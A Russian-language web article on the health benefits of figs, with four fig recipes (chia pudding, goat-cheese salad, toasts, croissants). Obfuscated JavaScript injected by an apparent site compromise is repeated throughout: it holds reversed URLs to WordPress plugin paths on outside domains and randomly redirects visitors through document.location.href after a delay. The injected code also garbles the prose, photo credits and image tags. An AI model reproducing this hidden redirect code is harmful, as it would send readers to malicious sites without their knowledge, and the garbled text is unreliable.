Чем полезен инжир и как его есть

Наступает сезон инжира, и пока вы не отправились за ним на рынок или в магазин, fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru спешит рассказать, чем полезны плоды инжира, как выбрать спелые и что с ними приготовить.

Инжир — субтропическое растение с вкусными съедобными плодами. Инжир зреет в августе и сентябре на Балканах, в Крыму, на юге России. В конце лета инжир продаётся на крупных рынках и в супермаркетах. Инжир бывает разных сортов, плоды могут быть с зелёной и фиолетовой кожицей, более или менее сладкие. Определить, какой плод вкусный и зрелый, можно при помощи надавливания. Плод должен быть мягким, но с целой кожицей и без посторонних запахов. Конечно, самое приятное — есть инжир, который только-только сорвали с дерева. Если вы собираетесь в отпуск в южные регионы, не упустите возможность попробовать спелый инжир. 

Помимо того что фрукт очень вкусный, он имеет много полезных свойств.

Чем полезен инжир и как его есть. Изображение номер 1

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Чем полезен инжир

Инжир богат витаминами и микроэлементами

Свежий и сушёный инжир богат витаминами B6 и К, калием, магнием, кальцием, железом. Витамин В6 помогает организму расщеплять белки из пищи, а также играет важную роль в поддержании здоровья мозга. Витамин К улучшает память у людей старшего возраста, способствует понижению артериального давления и способствует укреплению костей. В стакане инжира железа в два раза больше, чем в таком же количестве яблок. Инжир включают в рацион при лечении анемии.

Инжир улучшает пищеварение

Инжир богат клетчаткой, которая препятствует появлению запоров и улучшает работу желудочно-кишечного тракта. Небольшое исследование на 150 людях показало, что четыре штуки сушёного инжира в день значительно облегчают симптомы синдрома раздражённого кишечника.

Сухофрукты можно учитывать при подсчёте дневной нормы фруктов — 30 г сушёного инжира, фиников или изюма эквивалентны примерно 80 г свежих плодов. Важно помнить, что сушёные фрукты содержат больше сахара, чем свежие, из-за отсутствия влаги. Поэтому их с осторожностью нужно включать в рацион при избыточном весе и некоторых хронических заболеваниях.

Чем полезен инжир и как его есть. Изображение номер 2

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Инжир полезен для волос и кожи

Корейские учёные провели исследование и выяснили, что экстракт листьев инжира — наравне с экстрактами из других фруктов, — действует на клетки как антиоксидант, тормозит процесс распада коллагена и уменьшает глубину морщин. А польские учёные проанализировали питание группы женщин, которые страдали от выпадения волос. Результаты показали, что включение инжира в рацион положительно повлияло на здоровье волос и кожи головы.

Как и все фрукты, инжир содержит много воды, которая важна для функционирования всего организма, в том числе для здорового сияющего вида кожи и волос. В день нужно употреблять в среднем 1,5–2 литра воды, в этот объём входит и вода из фруктов.

Как есть инжир

Один средний плод содержит около 30 калорий, 8 г углеводов и 1 г клетчатки. Три-четыре штуки инжира станут здоровым низкокалорийным перекусом. Вымойте инжир заранее и возьмите с собой на прогулку или тренировку в ланчбоксе, чтобы фрукты не помялись. 

Ломтики инжира можно добавлять в кашу на завтрак, салаты, сэндвичи. Вкусный и полезный инжир ещё и отлично смотрится в блюдах. 

Что приготовить с инжиром

350 calories

$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torye-ne-nuzhno-gotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tovit-5-receptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov-im-8.jpg»> $NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torye-ne-nuzhno-gotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tovit-5-receptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov-im-8.jpg»>

Чиа-пудинг на миндальном молоке с инжиром

Семена чиа богаты полезными жирными кислотами, а ещё из них получается очень вкусный пудинг. Этот завтрак можно веганам, вегетарианцам и тем, кто соблюдает пост.

$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torye-ne-nuzhno-gotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tovit-5-receptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tov-im-8.jpg» class=»c3″ alt=»Изображение рецепта Чиа-пудинг на миндальном молоке с инжиром» title=»Изображение рецепта Чиа-пудинг на миндальном молоке с инжиром»>

Чиа-пудинг на миндальном молоке с инжиром

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 минут

КОЛИЧЕСТВО ПОРЦИЙ:

1 порция

КАЛОРИЙНОСТЬ:

350 ккал

Сложность

Время

5 минут

Кол-во порций

1 порция

Калорийность

350 ккал

Ингредиенты

Семена (чиа)

3 ст. л.

Миндальное молоко

200 мл

Инжир

2 шт.

Сироп (топинамбура )

2 ст. л.

Процесс приготовления

  1. Семена чиа насыпьте в миску или баночку и залейте на ночь миндальным молоком.
  2. Добавьте сироп и хорошо перемешайте, чтобы семена не слиплись.
  3. Утром подавайте вместе с кусочками свежего инжира.

280 calories

$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tovit-poleznyi-salat-4-otlichnyh-recepta-im-5.jpg»> $NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tovit-poleznyi-salat-4-otlichnyh-recepta-im-5.jpg»>

Салат из козьего сыра с инжиром

Пикантный салат подойдёт и для воскресного обеда, и для ланча, который можно взять с собой в офис. Приятная сладость инжира в сочетании с нежной кремовой текстурой сыра точно не оставит вас равнодушным.   

$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tovit-poleznyi-salat-4-otlichnyh-recepta-im-5.jpg» class=»c3″ alt=»Изображение рецепта Салат из козьего сыра с инжиром» title=»Изображение рецепта Салат из козьего сыра с инжиром»>

Салат из козьего сыра с инжиром

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

10 минут

КОЛИЧЕСТВО ПОРЦИЙ:

4 порции

КАЛОРИЙНОСТЬ:

280 ккал

Сложность

Время

10 минут

Кол-во порций

4 порции

Калорийность

280 ккал

Ингредиенты

Инжир

4 шт.

Сыр (козий)

200 г

Салат (ромэн)

200 г

Масло (оливковое)

30 мл

Помидоры (черри)

15 шт.

Оливки

100 г

Соль

1 щепотка

Перец

1 щепотка

Процесс приготовления

  1. Нарежьте инжир дольками.
  2. Салат ромэн нарвите, помидоры черри нарежьте на половинки.
  3. В посуде соедините салат, помидоры, оливки и инжир.
  4. Измельчите козий сыр и добавьте его в салат.
  5. Заправьте салат оливковым маслом, добавьте соль и перец по вкусу.

460 calories

Тосты с инжиром и йогуртом

Инжир идеально сочетается с нежным йогуртом и хрустящим хлебом.

Изображение рецепта Тосты с инжиром и йогуртом

Тосты с инжиром и йогуртом

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

10 минут

КОЛИЧЕСТВО ПОРЦИЙ:

3 порции

КАЛОРИЙНОСТЬ:

460 ккал

Сложность

Время

10 минут

Кол-во порций

3 порции

Калорийность

460 ккал

Ингредиенты

Хлеб (для тостов)

6 ломтиков

Инжир

6 шт.

Йогурт (из козьего молока или греческий)

250 мл

Мёд

2 ст. л.

Процесс приготовления

  1. Поджарьте на сухой сковороде хлеб для тостов.
  2. Намажьте на каждый тост немного йогурта, добавьте сверху нарезанный инжир и полейте всё мёдом. Готово!

370 calories

Круассаны с инжиром, сыром и прошутто

Быстрый перекус для тех, кому хочется чего-то сытного и несладкого.

Изображение рецепта Круассаны с инжиром, сыром и прошутто

Круассаны с инжиром, сыром и прошутто

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

5 минут

КОЛИЧЕСТВО ПОРЦИЙ:

4 порции

КАЛОРИЙНОСТЬ:

370 ккал

Сложность

Время

5 минут

Кол-во порций

4 порции

Калорийность

370 ккал

Ингредиенты

Круассан (без начинки)

4 шт.

Инжир

2 шт.

Сыр

4 ломтика

Ветчина (прошутто)

4 ломтика

Процесс приготовления

  1. Надрежьте круассаны вдоль.
  2. Положите в каждый круассан по ломтику сыра, прошутто и несколько тонких кусочков инжира.

Статьи по теме

Вопрос: хлеб с семенами действительно полезнее обычного?

Чем полезен батат и как его есть

Чем полезна рукола и как её есть

Чем полезен шоколад: 5 причин не отказываться от любимого десерта

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector